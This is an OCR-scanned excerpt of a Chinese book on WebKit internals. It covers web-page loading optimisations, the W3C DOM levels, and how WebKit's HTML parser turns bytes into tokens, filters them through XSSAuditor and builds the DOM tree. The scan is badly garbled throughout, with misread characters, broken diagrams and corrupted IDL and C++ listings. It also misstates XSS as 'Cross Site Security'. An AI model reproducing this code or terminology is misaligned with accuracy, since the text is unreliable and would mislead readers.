为 了 高 效 地 加 载 网 页 ， 网 页 开发 者 可 以 从 以 下 方面 着 手 改 变 以 减少 这 一 
部 分 的 时 间 。 











有 有 些 网 页 中 使 用 了 大 量 的 重 定 癌 ， 可 能 还 会 有 
很 多 次 重 定 同 ， 这 不 仅 要 求 浏览 圳 建立 多 次 链接 ， 同 时 也 需要 多 次 





DNS 解析 ， 这 会 阻碍 DNS 预 取 技术 的 应 用 ， 应 该 尽量 避免 。 

利用 DNS 预 取 机 制 。 网 页 的 开发 者 当然 知道 需要 链接 的 URL， 为 了 
让 浏览 器 也 知道 这 些 链 接 ， 开 发 者 可 以 指定 需要 预 取 的 URL， 前 面 
我 们 已 经 给 出 了 示例 。 

搭建 支持 SPDY 协 议 的 服务 器 ， 当 然 指 的 是 那些 需要 使 用 HTTPS 协 
议 的 网 站 。 

避免 错误 的 链接 请 求 。 有 些 网 页 中 包含 了 一 些 失效 的 链接 ， 当 浏览 
器 试 风 获取 该 链接 对 应 的 资源 的 时 候 ， 束 会 占用 网 络 资源 。 


4.4.2 ”资源 的 数量 





通过 上 面 的 描述 亦 可 知 ， 我 们 也 可 以 通过 减少 网 页 中 所 需 的 资源 数 
量 来 改善 网 页 的 加 载 ， 网 页 开 及 者 可 以 从 以 下 方面 着 手 改 变 以 减少 这 一 
部 分 的 时 间 。 





。 在 HTML 网 页 中 内 骸 小 型 的 资源 ， 也 束 是 当 资 源 比较 小 的 时 候 ， 开 
发 者 可 以 将 它们 直接 放 在 网 页 中 ， 可 能 的 资源 如 CSS、JavaScript 和 
图 片 等。 前 两 者 比较 直接 ， 对 于 图 片 而 言 ， 当 图 片 比较 小 的 时 候 ， 
开发 者 可 以 通过 base64 编 码 技术 将 它 变 成 字符 串 ， 直 接 放 入 网 页 
中 ， 例 如 设置 一 个 元 素 背 景 的 时 候 ， 可 以 按照 下 面 的 方式 来 操 
YE: “background:url(data:image/gif;base64,ROIGOD 
IhFQAVAMIEAA...)”. 

。 合并 一 些 资源 ， 例 如 CSS、JavaScript 和 图 片 。 常 见 的 是 一 些 网 页 中 
大 量 使 用 的 小 图 片 ， 可 以 将 它们 合并 成 一 张大 的 图 片 以 供 使 用 ， 因 
为 我 们 知道 浏览 器 建 并 TCP 连 接 需 要 比较 长 的 时 间 ， 所 以 这 样 做 不 
仪 能 减少 TCP 连 接 建 立 的 数量 ， 而 且 对 后 面 的 泻 染 也 会 有 帮助 。 


4.4.3 ”资源 的 数据 量 


对 于 每 个 资源 而 言 ， 可 以 通过 减少 它 的 数据 量 来 提高 网 页 的 加 载 速 
度 ， 开 发 者 可 以 从 以 下 方面 着手 解 决 。 





使 用 浏览 器 本 地 磁盘 缓存 机 制 。 因 为 我 们 知道 HTTP 协议 文 持 资 源 
的 失效 机 制 ， 可 以 通过 对 资源 设置 适当 的 失效 期 来 减少 浏览 器 对 资 
源 的 重复 获取 。 

局 用 资源 的 压缩 技术 。 例 如 ， 对 于 图 片 资 源 而 言 ， 可 以 使 用 zip 压 
缩 技 术 ， 然 后 在 HTTP 消息 头 中 说 明 该 资源 经 过 压缩 ， 这 样 可 以 有 
效 减少 网 络 传输 的 数据 量 。 


其 实 还 有 很 多 其 他 的 技巧 帮助 提高 资源 的 加 载 效 率 ， 例 如 减少 无 用 
的 空格 、 局 用 异步 资源 加 载 等 ， 这 里 不 一 一 介绍 了 。 在 本 章 结 束 的 时 
候 ， 笔 者 向 大 家 推荐 一 个 非常 有 用 的 资源 加 载 性 能 分 析 工 具 一 一 
PageSpeed。PageSpeed 是 一 个 Chromium 的 扩展 工具 ， 它 可 以 分 析 网 页 加 
载 过 程 中 出 现 的 各 种 问题 ， 并 给 出 各 种 建议 帮助 开发 者 去 除 挥 这 些 影响 
性 能 的 问题 。 








(1) 就 笔者 自己 的 经 历 ， 因 为 我 经 常 上 https://www.google.com 查 资料 ， 当 笔者 在 地 址 栏 输 入 
http 的 时 候 ，Browser 进 程 就 已 经 在 尝试 建 江 TCP 连 接 到 google.com T - 

D ”截至 笔者 写作 的 时 候 ， 它 不 是 默认 打开 的 ， 因 为 需要 更 改 传输 层 协议 ， 所 以 后 续 应 该 
还 有 很 多 工作 要 做 。 



































第 5 章 HTML 解释 器 和 DOM 模 型 


在 WebKit 中 ， 资 源 最 初 的 表示 就 是 字 市 流 ， 这 些 字 市 流 可 以 是 网 络 
传输 来 的 ， 也 可 以 是 本 地 文件 ， 那 么 字 节 流 在 接 下 来 需要 经 过 怎样 的 处 
理 呢 ? 处 理 后 变 成 了 什么 呢 ? 本 章 将 和 读者 一 起 在 研究 W3C 的 DOM 模 
型 之 后 ， 深 入 WebKit 的 核心 部 分 ， 庆 析 WebKit 的 HTML 解 释 占 是 如 何 将 
从 网 络 或 者 本 地 文件 获取 的 字 节 流转 成 内 部 表示 的 结构 一 一 DOM 树 。 

















5.1 DOM 模 型 


5.1.1 DOM 标 准 





DOM (Document Object Model) 的 全 称 是 文档 对 象 模型 ， 它 可 以 
以 一 种 独立 于 平台 和 语言 的 方式 访问 和 修改 一 个 文档 的 内 容 和 结构 。 这 
里 的 文档 可 以 是 HTML 文 档 、XML 文 档 或 者 XHTML 文 档 。DOM 以 面 问 
对 象 的 方式 来 描述 文档 ， 在 HTML 文 档 中 ，Web 开 发 者 可 以 使 用 
JavaScript 语 言 来 访问 、 创 建 、 删 除 或 者 修改 DOM 结 构 ， 其 主要 目的 是 
动态 改变 HTML 文 档 的 结构 。 





DOM 定 义 的 是 一 组 与 平台 、 语 言 无 关 的 接口 ， 该 接口 允许 编程 语 
言 动态 访问 和 更 改 结构 化 文档 。 使 用 DOM 表 示 的 文档 被 描述 成 一 个 树 
形 结构 ， 使 用 DOM 的 接口 可 以 对 DOM 树 结构 进行 操作 。W3C 标 准 化 组 
织 定 义 一 系列 DOM 接 口 ， 随 着 时 间 的 推移 ， 目 前 已 经 形成 了 三 个 演进 
的 标准 ， 包 括 DOM Level 1、DOM Level 2 和 DOM Level 3， 每 个 新 
的 “Level" 都 是 在 原 有 基础 上 增加 新 的 接口 以 加 强 功能 ， 图 5-1 摘 述 了 
DOM 规 范 的 演进 过 程 。 其 中 ， 在 2009 年 ，WebApps 工 作 组 (Web 应 用 
程序 工作 组 ) 推进 提出 了 一 个 对 DOM3 Events 规 范 的 修改 版 ， 目 前 称 之 
为 DOM4，DOM4 还 处 于 草案 阶段 ， 还 不 是 推荐 标准 〈 本 书 中 通常 也 称 
为 规范 ， 同 一 个 意思 ) 。 


DOM Level 1 
Core 


HTML 





DOM Level 2 
DOM? Core 
DOM2 HTML 
Views 
Events 


Style 


Traversal Rang 





WebApps 工作 组 提 
DOM Level 3 出 的 新 版 本 的 
DOM3 Core DOM4 草案 
Load & Save 


Validation 
DOM3 Events 
XPath 











1998 年 


2000 年 


2004 年 2012 年 


图 5-1 DONM 规 范 的 演进 过 程 


每 一 级 的 版 本 都 对 以 前 的 版 本 进行 了 补充 并 伴随 着 新 功能 的 加 入 ， 
每 个 版 本 都 对 DOM 的 不 同 部 分 进行 了 定义 ， 下 面 是 对 这 三 个 版 本 的 简 


ELST ZA 


DOM Level 1， 于 1998 年 成 为 W3C 推 荐 标准 ， 包 含 两 个 部 分 。 





。 Core: ”一 组 的 层 的 接口 ， 其 接口 可 以 表示 任何 结构 化 文档 ， 同 时 





也 允许 对 接口 进行 扩展 ， 例 如 对 XML 文 档 的 支持 。 

e HIML: ”在 Core 定 义 的 接口 之 上 ，W3C 定 义 了 一 组 上 层 接口 ， 主 
要 是 为 了 对 HTML 文档 进 行 访 问 。 它 把 HTML 中 的 内 容 定义 为 文档 
(Document) 、 节 点 (Node) 、 属 性 (Attribute) . CA 
(Element) ~ XÆ (Text) 等 。 


DOM level 2， 于 2000 年 成 为 W3C 推 荐 标准 ， 包 含 六 个 部 分 。 


e Core: 对 DOM 
getElementByld 
(namespace) IJ #H o 


level 


1 Core His Fe, PEA WN aie 





〈 没 用 过 的 请 举 手 ) ， 还 有 很 多 关于 名 空间 


Views: ”描述 跟踪 一 个 文档 的 各 种 视图 〈 使 用 CSS 样 式 设 计 文 档 前 
后 ) 的 接口 。 

Events: ”非常 重要 ， 这 个 部 分 引入 了 对 DOM 事 件 的 处 理 ， 笔 者 觉 
得 这 是 个 非常 大 的 变化 ， 主 要 有 EventTarget、Mouse 事 件 等 接口 。 
但 是 ， 规 范 仍 然 不 支持 键盘 事件 ， 这 个 在 DOM Level 3 才 被 加 入 进 
Tes 

Style(CSS): 一 种 新 接口 ， 可 以 修改 HTML 元 素 的 样式 属性 。 
Traversal and range: ”这 个 容易 理解 ， 就 是 遍历 树 (Nodelterator 和 
TreeWalker) 加 上 对 制定 范围 的 文档 修改 、 删 除 等 操作 。 

HTML: P ADOM Level 1 的 HTML 部 分 ， 人 允许 动态 访问 和 修改 
HTML 文 档 。 





DOM level 3， 于 2004 年 成 为 W3C 组 织 的 推荐 标准 ， 包 含 五 个 部 


Core: 在 DOM Level 1 和 DOM Level 2 的 基础 上 ， 该 部 分 加 入 了 新 
接口 adoptNode 和 textContent。 

Load and Save: ”人 允许 程序 动态 加 载 XML 文 件 并 解释 成 DOM 表 示 的 
文档 结构 。 

Validation: 人 允许 程序 验证 文档 的 有 效 性 。 

Events: 主要 加 入 了 对 键盘 的 文 持 。 随 着 移动 平台 的 兴起 ， 触 屏 技 
术 得 到 广泛 应 用 ， 所 以 触 控 ‘Touch〉 事 件 的 草案 应 该 很 快 就 会 进 
入 标准 。 

XPath: ”使 用 XPath1.0 来 访问 DOM 树 ，XPath 是 一 种 简单 直观 的 检 
索 DOM 树 节点 的 方式 ， 具 体 见 W3C XPath 规范 。 





DOM 规 范 对 于 文档 具体 的 表示 方法 没有 任何 限制 ， 只 是 定义 了 应 








用 程序 编程 接口 ， 因 此 它 在 现实 中 可 能 有 很 多 种 实现 。DOM 树 状 表示 


古 其 中 比较 普 衣 的 方式 ， 也 可 以 是 二 进 制 表示 (如 binary xml) ， 该 表 
示 有 很 多 的 优点 ， 有 兴趣 的 该 者 可 以 目 行 查阅 相关 资料 。 





W3C 组 织 在 发 布 这 些 标 准 的 同时 也 发 布 了 兼容 性 测试 用 例 ， 浏 览 器 
可 以 使 用 这 些 用 例 来 检查 对 标准 的 支持 程度 。 不 同 的 浏览 器 对 DOM 这 
些 标准 的 支持 也 不 尽 相 同 。Chromium 浏 览 器 对 DOM Level 1 和 DOM 
Level 2 的 支持 程度 非常 好 ， 但 它 只 是 部 分 支持 DOM Level 3 的 标准 。 








5.1.2 DOM 树 


5.1.2.1 ”结构 模型 








DOM 结 构 构 成 的 基本 要 素 是 “节点 ”， 而 文档 的 DOM 结 构 束 是 由 层 
次 化 的 节点 组 成 。 在 DOM 模 型 中 ， 节 点 的 概念 很 宽泛 ， 整 个 文档 
(Document) 就 是 一 个 节点 ， 称 为 文档 节点 。HTML 中 的 标记 (Tag) 
也 是 一 种 节点 ， 称 为 元 素 (Element) 节点 。 还 有 一 些 其 他 类 型 的 节 
点 ， 例 如 属性 节点 (标记 的 属性 ) 、Entity 节 点 、ProcessingIntruction 节 
点 、CDataSection 节 点 、 注 释 (Comment) 节点 等 。 














图 5-2 显 示 的 是 “文档 ?节点 提供 的 接口 ， 使 用 IDL 语 言 来 描述 。IDL 
是 一 种 跟 语 言 无 关 的 接口 描述 语言 。 从 这 个 定义 中 可 以 看 出 ， 文 档 继承 
目 市 点 类 型 ， 所 以 可 以 使 用 Node 的 接口 。“ 文 档 ” 节 点 表示 的 古 整 个 文 
档 ， 所 以 Web 开 发 者 可 以 从 中 创建 很 多 其 他 类 型 的 节 氮 ， 这 些 节 点 都 属 
于 该 文档 。 











interface Document 
readonly attribute 
readonly attribute 


readonly attribute 


Node { 
DocumentType 
DOMImplementation 


Element 


doctype; 
implementation; 


documentElement; 














Element createElement (in DOMString tagName) raises (DOMException) ; 
DocumentFragment createDocumentFragment (); 

Text createTextNode (in DOMString data); 

Comment createComment (in DOMString data); 

CDATASection createCDATASection(in DOMString data) raises (DOMException) ; 


ProcessingInstruction createProcessingInstruction(in DOMString target, 


in DOMString data) raises (DOMException) ; 





Attr createAttribute(in DOMString name) raises (DOMException) ; 
EntityReference createEntityReference (in DOMString name) raises (DOMException) ; 
NodeList getElementsByTagName (in DOMString tagname) ; 


hi 











图 5-2 DOM? Document 4 IDL} 2 Æ 3 








由 于 DOM 的 定义 是 与 语言 无 天 的 ， 所 以 标准 中 所 有 这 些 都 是 接 
口 。 同 时 ， 因 为 文 持 不 同类 型 的 语言 ， 例 如 C++、Java 或 者 JavaScript， 
所 以 它 没有 对 内 存 的 管理 机 制 做 任何 方面 的 规定 。 同 时 这 些 不 同 语言 的 
不 同 实现 只 需要 符合 标准 定义 的 接口 即 可 ， 而 实现 者 通常 可 以 把 这 些 实 
现 的 细节 隐藏 起 来 。 











因为 我 们 重点 关注 的 是 HTML 文 档 ， 所 以 图 5-3 描 述 了 HTMEL 文 档 的 
接口 定义 。 它 继承 自 “ 文 档 * 接 口 ， 同 时 又 有 些 自己 的 扩展 ， 包 括 新 的 属 
性 和 接口 ， 这 些 都 跟 HTML 文 档 的 具体 应 用 相关 。 























interface HTMLDocument Document { 
attribute DOMString title; 
readonly attribute DOMString referrer; 
readonly attribute DOMString domain; 
readonly attribute DOMString URL; 
attribute HTMLElement body; 
readonly attribute HTIMLCollection images; 
readonly attribute HTIMLCollection applets; 
readonly attribute HTMLCollection Links; 
readonly attribute HTMLCollection forms; 
readonly attribute HTMLCollection anchors; 
attribute DOMString cookie; 
voi open () 7 
void close (); 
voi write (in DOMString text); 
void writeln(in DOMString text); 
Element getElementById(in DOMString elementId); 
NodeList getElementsByName (in DOMString elementName) ; 
Ve 





图 5-3 HTMLDocument 44 IDL Æ 3X 





5.1.2.2 DOM 树 


根据 前 面 的 描述 ， 待 DOM 的 节点 和 各 种 子 节点 被 逐次 定义 后 ， 接 
下 来 的 问题 是 如 何 将 这 些 节 点 组 织 起 来 表示 一 个 文档 。 








众多 的 节点 按照 层次 组 织 构成 一 个 DOM 树 形 结构 ， 图 5-4 的 左边 是 
一 个 HTML 网 页 的 源 代码 ， 而 右边 就 是 它 的 DOM 树 表示 。 读 者 可 以 看 
到 ，DOM 树 的 根 就 是 HTMLDocument，HTML 网 页 中 的 标签 则 被 转换 成 
一 个 个 的 元 素 节 点 。 同 数据 结构 中 的 树 形 结构 一 样 ， 这 些 节点 之 间 也 存 
在 父子 或 兄弟 关系 ， 例 如 “HTML” 节 点 的 子女 节点 有 两 个 
一 “Head” 和 “Body”， 而 “Head” 的 父亲 节点 是 “HTML” 市 
点 。“HTML” 节 点 下 面 的 四 个 节点 都 称 为 它 的 后 代 节 点 ， 而 “Div” 节 点 的 
祖先 节点 则 是 “Body” “HTML ”等 。 

















<html> HTMLDocument 
<head></head> | 
<body> Ai 
<p> 
<div></div> ee S 
_ Body 


</body> 
</html> 
Head Pa < 
P D 


图 5-4 HTML 网 页 和 它 的 DOM 树 表示 


iv 
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图 中 绘制 出 来 ， 后 面 我 们 重点 关注 的 是 元 素 节 点 和 文档 节点 。 





5.2 HTML 解释 右 
5.2.1 解释 过 程 


HTML 解 释 器 的 工作 就 是 将 网 络 或 者 本 地 磁盘 获取 的 HTML 网 页 和 
资源 从 字 节 流 解 释 成 DOM 树 结构 。 这 一 过 程 大 致 可 以 理解 成 图 5-5 所 述 
的 步骤 ， 本 节 主 要 描述 WebKit 的 解释 器 如 何 处理 这 一 过 程 的 工作 。 





yt (Bytes) “4 Fit (Characters) 


词语 (Tokens) 





图 5-5 ”从 资源 的 字 节 流 到 DOM 树 





图 5-5 摘 述 的 主要 是 在 这 一 过 程 中 ，WebKit 内 部 对 网 页 内 容 在 各 个 
阶段 的 结构 表示 。WebKit 中 这 一 过 程 在 图 中 被 描述 得 很 清晰 :首先 是 字 
节 流 ， 经 过 解码 之 后 是 字符 流 ， 然 后 通过 词法 分 析 器 会 被 解释 成 词语 
(Tokens) ， 之 后 经 过 语法 分 析 器 构建 成 节点 ， 最 后 这 些 节 点 被 组 建成 
一 棵 DOM 树 。 











WebKit 为 完成 这 一 过 程 ， 引 入 了 比较 复杂 的 基础 设施 类 。 图 5-6 描 
述 了 WebKit 在 构建 DOM 树 时 需要 使 用 到 的 主要 类 ， 看 起 来 不 太 容 易 理 








读者 应 该 会 发 现 ， 图 中 左边 部 分 就 是 我 们 在 第 2 章 介 绍 的 网 页 框 结 
构 ， 框 对 应 于 “Frame” 类 ， 而 文档 对 应 于 “HTMLDocument” 类 ， 所 以 框 
内 包含 文档 。HTMLDocument 类 继承 自 Document 类 ， 也 是 遵循 DOM 标 
准 的 ， 因 为 Document 有 两 个 子 类 ， 男 外 一 个 是 XMLDocument。 这 里 没 
有 描述 内 骸 的 复杂 框 结 构 ， 但 是 足以 说 明 网 页 基本 结构 的 内 部 表示 。 在 
实际 应 用 中 ， 网 页 内 骨 框 也 会 重复 这 样 的 动作 。 






























































网 页 的 框 结构 的 内 


I WebKit 为 建立 网 页 的 框 结构 所 建立 的 基础 设施 类 
HP ae Zs 


i FrameLoader DocumentLoader CachedRawResource 
-m_documentLoader D -m_mainSource > +append Data() 

1 -m_writer 
faa R THe Ree eee A aaron +dataReceived() 

1 

1 

1 

i DocumentWriter 

create —— 

EEN OO E EOE EE E) -m_decoder XSSAuditor 

1 -Mm_parser +filterStartToken() 

1 

1 ee 

i O mn 

1 HTMLTokenizer 

1 HTMLDocumentParser +nextToken() 

1 -m_tokenizer > 

l -m_treeBuilder 

1 -m_preloadScanner 

1 -m_xssAuditor <> HTMLTree Builder 

| -m_tree 

HTMLDocument use HTMLConstructionSite +oonstructTree() 

Score +insertHTMLElement() <> 
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图 5-6 WebKit 构 建 DOM 所 使 用 的 主要 基础 设施 类 


右边 部 分 是 WebKit 为 建立 网 页 的 框 结 构 所 建立 的 设施 。 先 看 
FrameLoader 类 ， 它 是 框 中 内 容 的 加 载 器 ， 类 似 于 资源 和 资源 的 加 载 
器 。 因 为 Frame 对 象 中 包含 Document 对 象 ， 所 以 WebKit 同 样 需 要 
DocumentLoader 类 帮助 加 载 HTML 文 档 并 从 字 节 流 到 构建 的 DOM 树 。 
DocumentWriter 类 是 一 个 辅助 类 ， 它 会 创建 DOM 树 的 根 节点 
HTMLDocument 对 象 ， 同 时 该 类 包括 两 个 成 员 变 量 ， 一 个 是 用 于 文档 的 





字符 解码 的 类 ， 另 外 一 个 就 是 HTML 解释 器 HTMLDocumentParser 类 。 


HTMLDocumentParser 类 是 一 个 管理 类 ， 包 括 了 用 于 各 种 工作 的 其 
他 类 ， 例 如 字符 串 到 词语 需要 用 到 词法 分 析 器 HTMLTokenizer 类 。 该 管 
理 类 读 入 字符 串 ， 输 出 一 个 个 词语 。 这 些 词语 经 过 XSSAuditor 做 完 安全 
检查 之 后 ， 就 会 输出 到 HTMLTreeBuilder 类 。 


HTMLTreeBuilder 类 负责 DOM 树 的 建立 ， 它 本 身 能 够 通过 词语 创建 
一 个 个 的 节点 对 象 。 然 后 ， 借 由 HTMILConstructionSite 类 来 将 这 些 节 点 
对 象 构 建成 一 棵 DOM 树 。 








介绍 完 这 些 主要 类 之 后 ， 那 么 WebKit 是 如 何 利 用 它们 来 完成 工作 的 
呢 ? 当 WebKit 收 到 网 络 回复 的 字 市 注 的 时 候 ， 这 些 类 使 用 哪些 操作 来 构 
建 DOM 树 呢 ? 图 5-7 是 从 字 节 流 到 构建 DOM 树 的 时 序 图 ， 里 面 详 述 了 调 
用 过 程 。 当 然 ， 图 中 省 略 了 一 些 次 要 调用 。 
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图 5-7 ”从 网 页 的 字 节 流 到 DOM 树 的 一 般 构 建 过 程 


第 4 章 介 绍 的 ResourceLoader 类 和 CachedRawResource 类 在 收 到 网 络 


栈 的 数据 后 _ 帆 “， 调 用 DocumentLoader 类 的 “commitData" 方 法 ， 然 后 
DocumentWriter 类 会 先 创 建 一 个 根 节点 HTMLDocument 对 象 ， 然 后 将 数 
据 “append” 输 送 到 HTMLDocumentParser 对 象 。 后 面 就 是 如 之 前 所 描述 
的 将 其 解释 成 词语 ， 创 建 节点 对 象 然后 建立 以 HTMLDocument 为 根 的 
DOM 树 。 


对 于 循环 框 中 每 个 部 分 的 细节 ， 笔 者 将 在 接 下 来 的 4 个 小 市 里 分 别 
做 详细 介绍 。 


5.2.2 ”词法 分 析 


在 进行 词法 分 析 之 前 ， 解 释 器 站 先 要 做 的 事情 就 是 检查 该 网 页 内 容 
使 用 的 编码 格式 ， 以 便 后 面 使 用 合适 的 解码 器 。 如 果 解 释 器 在 HTML 网 
页 中 找到 了 设置 的 编码 格式 ，WebKit 会 使 用 相应 的 解码 器 来 将 字 节 流转 
换 成 特定 格式 的 字符 串 。 如 果 没 有 特殊 的 格式 ， 词 法 分 析 器 
HTMLTokenizer 类 可 以 直接 进行 词法 分 析 。 











词法 分 析 的 工作 都 是 由 HTMLTokenizer 类 来 完成 ， 简 单 来 说 ， 它 就 
是 一 个 状态 机 一 一 输入 的 是 字符 串 ， 输 出 的 是 一 个 个 的 词语 。 因 为 字 市 
流 可 能 是 分 段 的 ， 所 以 输入 的 字符 串 可 能 也 是 分 段 的 ， 但 是 这 对 词法 分 
析 器 来 说 没有 什么 特别 之 处 ， 它 会 自己 维护 内 部 的 状态 信息 。 





词法 分 析 器 的 主要 接口 是 “nextToken” 枉 数 ， 调 用 者 只 需要 将 字符 串 
传 入 ， 然 后 束 会 得 到 一 个 词语 ， 并 对 传 入 的 字符 串 设置 相应 的 信息 ， 表 
示 当 前 处 理 完 的 位 置 ， 如 此 循环 。 如 果 词 法 分 析 器 遇 到 错误 ， 则 报告 状 
态 错误 码 ， 主 要 逻辑 在 图 5-8 中 给 予 了 描述 。 


检查 当前 状态 


处 理 


Comment 


处 理 处 理 处 理 


Data 状态 TagName 状态 TagOpen 状态 状态 
ANAS 


输出 单词 和 修改 输入 的 字符 串 





图 5-8 词法 分 析 器 HTMLTokenizer 的 主要 工作 流程 


对 于 “nextToken” 函 数 的 调用 者 而 言 ， 它 首先 设置 输入 需要 解释 的 字 
符 串 ， 然 后 循环 调用 NextToken 函 数 ， 直 到 处 理 结束 。“nextToken” 方 法 
每 次 输出 一 个 词语 ， 同 时 会 标记 输入 的 字符 串 ， 表 明 哪 些 字符 已 经 被 处 
理 过 了 。 因 此 ， 每 次 词法 分 析 峰 都 会 根据 上 次 设置 的 内 部 状态 和 上 次 处 
理 之 后 的 字符 串 来 生成 一 个 新 的 词语 。“nextToken” 函 数 内 部 使 用 了 超过 
70 种 状态 ， 图 中 只 显示 了 3 种 状态 。 对 于 每 个 不 同 的 状态 ， 都 有 相应 的 
处 理 逻 辑 ， 有 兴趣 的 读者 可 以 得 
A “WebCore/html/parser/HTMLTokenizer.cpp” X} F X F “nextToken” ef 
数 的 实现 细节 。 








而 对 于 词语 的 类 别 ，WebKit 只 定义 了 很 少 ，HTITMLToken 类 定义 了 6 
种 词语 类 别 ， 包 括 DOCTYPE、StartTag、EndTag、Comment、Character 
和 EndOfFile。 这 里 不 涉及 HTML 的 标签 类 型 等 信息 ， 那 是 后 面 语法 分 析 
的 工作 。 


5.2.3 XSSAuditor 验 证 词语 


当 词 语 生 成 之 后 ，WebKit 需 要 使 用 XSSAuditor 来 验证 词语 流 
(Token Stream) 。XSS 指 的 是 Cross Site Security， 主 要 是 针对 安全 方面 
的 考虑 。 这 部 分 的 机 制 我 们 将 放 在 高 级 篇 的 第 12 章 来 介绍 ， 只 是 因为 它 
的 工作 在 这 一 过 程 发 生 ， 所 以 这 里 稍微 提 及 一 下 。 








根据 XSS 的 安全 机 制 ， 对 于 解析 出 来 的 这 些 词语 ， 可 能 会 阻碍 某 些 
内 容 的 进一步 执行 ， 所 以 XSSAuditor 类 主要 负责 过 滤 这 些 被 阻止 的 内 
容 ， 只 有 通过 的 词语 才 会 作 后 面 的 处 理 。 详 细 的 规则 和 方法 请 见 高 级 篇 
中 的 第 12 章 。 


5.2.4 词语 到 节点 


经 过 词法 分 析 器 解释 之 后 的 词语 随 之 被 XSSAuditor 过 滤 并 且 在 没有 
被 阻止 之 后 ， 将 被 WebKit 用 来 构建 DOM 节 点 。 下 面 的 任务 就 是 如 何 完 
成 从 词语 到 构建 节点 这 一 步骤 。 这 一 步骤 是 由 HIMLDocumentParser 类 
调用 HTMLTreeBuilder 类 的 “constructTree” 函 数 来 实现 的 。 该 函数 实际 上 
是 利用 图 5-9 中 的 “processToken” 函 数 来 处 理 6 种 词语 类 型 。 





void HTMLTreeBuilder: :processToken (AtomicHTMLToken* token) 
{ 

switch (token->type()) { 

case HTMLToken: :Uninitialized: 

ASSERT_ NOT REACHED(); 

reak; 
case HTMLToken: :DOCTYPE: 
m_shouldSkipLeadingNewline = false; 
»rocessDoctypeToken (token); 
reak; 
case HTMLToken::StartTag: 
m_shouldSkipLeadingNewline = false; 
processStartTag (token); 
reak; 


case HTMLToken: :EndTag: 





m_shouldSkipLeadingNewline = false; 
»rocessEndTag (token) ; 

reak; 

case HTMLToken::Comment: 


m shouldSkipLeadingNewline = false; 





»rocessComment (token); 
return; 

case HTMLToken::Character: 
processCharacter (token); 
break; 

case HTMLToken::EndOfFile: 





m_shouldSkipLeadingNewline = false; 
processEndOfFile (token); 
break; 











图 5-9 HTMLTreeBui Ider 处理 词 语 


5.2.5 ”节点 到 DOM 树 





从 节点 到 构建 DOM 树 ,包括 为 树 中 的 元 素 厄 点 创建 属性 节点 等 工 
作 由 HIMLConstructionSite 类 来 完成 。 正 如 前 面 介 绍 的 ， 该 类 包含 一 个 
DOM 树 的 根 节点 一 一 HTMLDocument 对 象 ， 其 他 的 元 素 节点 都 是 它 的 
后 代 。 





因为 HTML 文 档 的 Tag 标 签 是 有 开始 和 结束 标记 的 ， 所 以 构建 这 
过 程 可 以 使 用 栈 结构 来 帮忙 。HTMLConstructionSite 类 中 包含 一 





个 “HTMLElementStack” 变 量 ， 它 是 一 个 保存 元 素 节 点 的 栈 ， 其 中 的 元 
素 节 点 是 当前 有 开始 标记 但 是 还 没有 结束 标记 的 元 素 节 点 。 想 象 一 下 
HTML 文 档 的 特点 ， 例 如 一 个 片段 “<body><div><img></img></div> 
</body>”， 当 解释 到 img 元 素 的 开始 标记 时 ， 栈 中 的 元 系 就 是 body、div 
和 img， 当 过 到 img 的 结束 标记 时 ，img 退 栈 ，img 是 div 元 素 的 子女 ; 4 
过 到 div 的 结束 标记 时 ，div 退 栈 ， 表 明 div 和 它 的 子女 都 已 处 理 完 ， 以 此 


类 推 。 

















根据 DOM 标 准 中 的 定义 ， 节 点 有 很 多 类 型 ， 例 如 元 素 节 点 、 属 性 
节点 等 。 那 么 ，WebKit 中 用 来 表示 DOM 结 构 的 相关 类 是 什么 呢 ? 


同 DOM 标 准 一 样 ， 一 切 的 基础 部 是 Node 类 。 在 WebKit 中 ，DOM 中 
的 接口 nterface 对 应 于 C++ 的 类 ，Node 类 是 其 他 类 的 基 类 ， 图 5-10 显 示 
了 DOM 的 主要 相关 节点 类 。 图 中 的 Node 类 实际 上 继承 自 EventTarget 
类 ， 它 表明 Node 类 能 够 接受 事件 ， 这 个 会 在 DOM 事 件 处 理 中 介绍 。 
Node 类 还 继承 自 另 外 一 个 基 类 ScriptWrappable， 这 个 跟 JavaScript 引 
擎 相关 。 





EventTarget ScriptWrappable 













StyledElement 
EEN 


A 
图 5-10 ”WebKit 的 节点 类 


Node 的 子 类 就 是 DOM 中 定义 的 同名 接口 ， 元 素 类 、 文 档 类 和 属性 
类 均 继 承 自 一 个 抽象 出 来 的 ContainerNode 类 ， 表 明 它 们 能 够 包含 其 他 的 
节点 对 象 。 回 到 HTML 文 档 来 说 ， 元 素 和 文档 对 应 的 类 就 是 
HTMLElement 类 和 HTMLDocument 类 。 实 际 上 上 HTML 规范 还 包含 众多 的 
HTMLElement 子 类 ， 用 于 表示 HTML 语 法 中 众多 的 标签 。 这 些 类 比较 容 
易 理 解 ， 这 里 就 不 做 介绍 了 。 





5.2.6 ”网 页 基础 设施 





上 面 介绍 了 Frame、Document 等 WebKit 中 的 基础 类 ， 这 些 都 是 网 页 
内 部 的 概念 ， 实 际 上 ，WebKit 提 供 了 更 高 层次 的 设施 ， 用 于 表示 整个 网 
页 的 一 些 类 ，WebKit 中 的 接口 部 分 就 是 基于 它们 来 提供 的 。 表 示 网 页 的 
类 既 提 供 了 构建 DOM 树 等 这 些 操作 ， 同 时 也 提供 了 接口 用 于 之 后 章节 
介绍 的 布局 、 泻 染 等 操作 。 请 读者 记 住 框 和 文档 等 类 ， 在 后 面 的 章节 它 








们 也 经 第 会 被 使 用 到 。 


图 5-11 描 述 了 WebKit 中 用 于 表示 网 页 的 一 些 基础 设施 类 ， 同 样 以 
WebKit 的 Chromium 移 植 为 例 ， 来 描述 WebKit 是 如 何 被 该 移植 使 用 从 而 
提供 对 外 使 用 的 接口 ， 它 们 实际 上 是 Chromium 项 目 调用 WebKit 项 目的 
接口 。 





ChromeClientimpl 


WebViewlmpl 


-m_page 


ChromeClient 













RenderViewlmpl 


-webwidget_ 
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Chromium 移植 部 分 





图 5-11 WebCore 的 主要 网 页 类 和 Chromium 对 外 类 





图 中 右边 是 WebKit 中 的 WebCore 提 供 的 部 分 类 ， 这 些 类 都 是 公共 
的 ， 也 就 是 被 不 同 的 WebKit 移 植 所 共享 。Chrome、ChromeClient 和 Page 
类 ， 笔 者 稍 后 介绍 ，Frame 类 之 前 已 经 介绍 过 。 


图 中 左边 是 WebKit 的 Chromium 移 植 实现 使 用 的 接口 类 ， 其 中 
RenderViewImpl 来 自 Chromium 项 目 ， 是 Chromium 使 用 WebKit 的 主要 桥 
接 类 ， 用 于 Renderer 进 程 。 在 WebKit 的 Chromium 移 植 中 ，WebView 和 
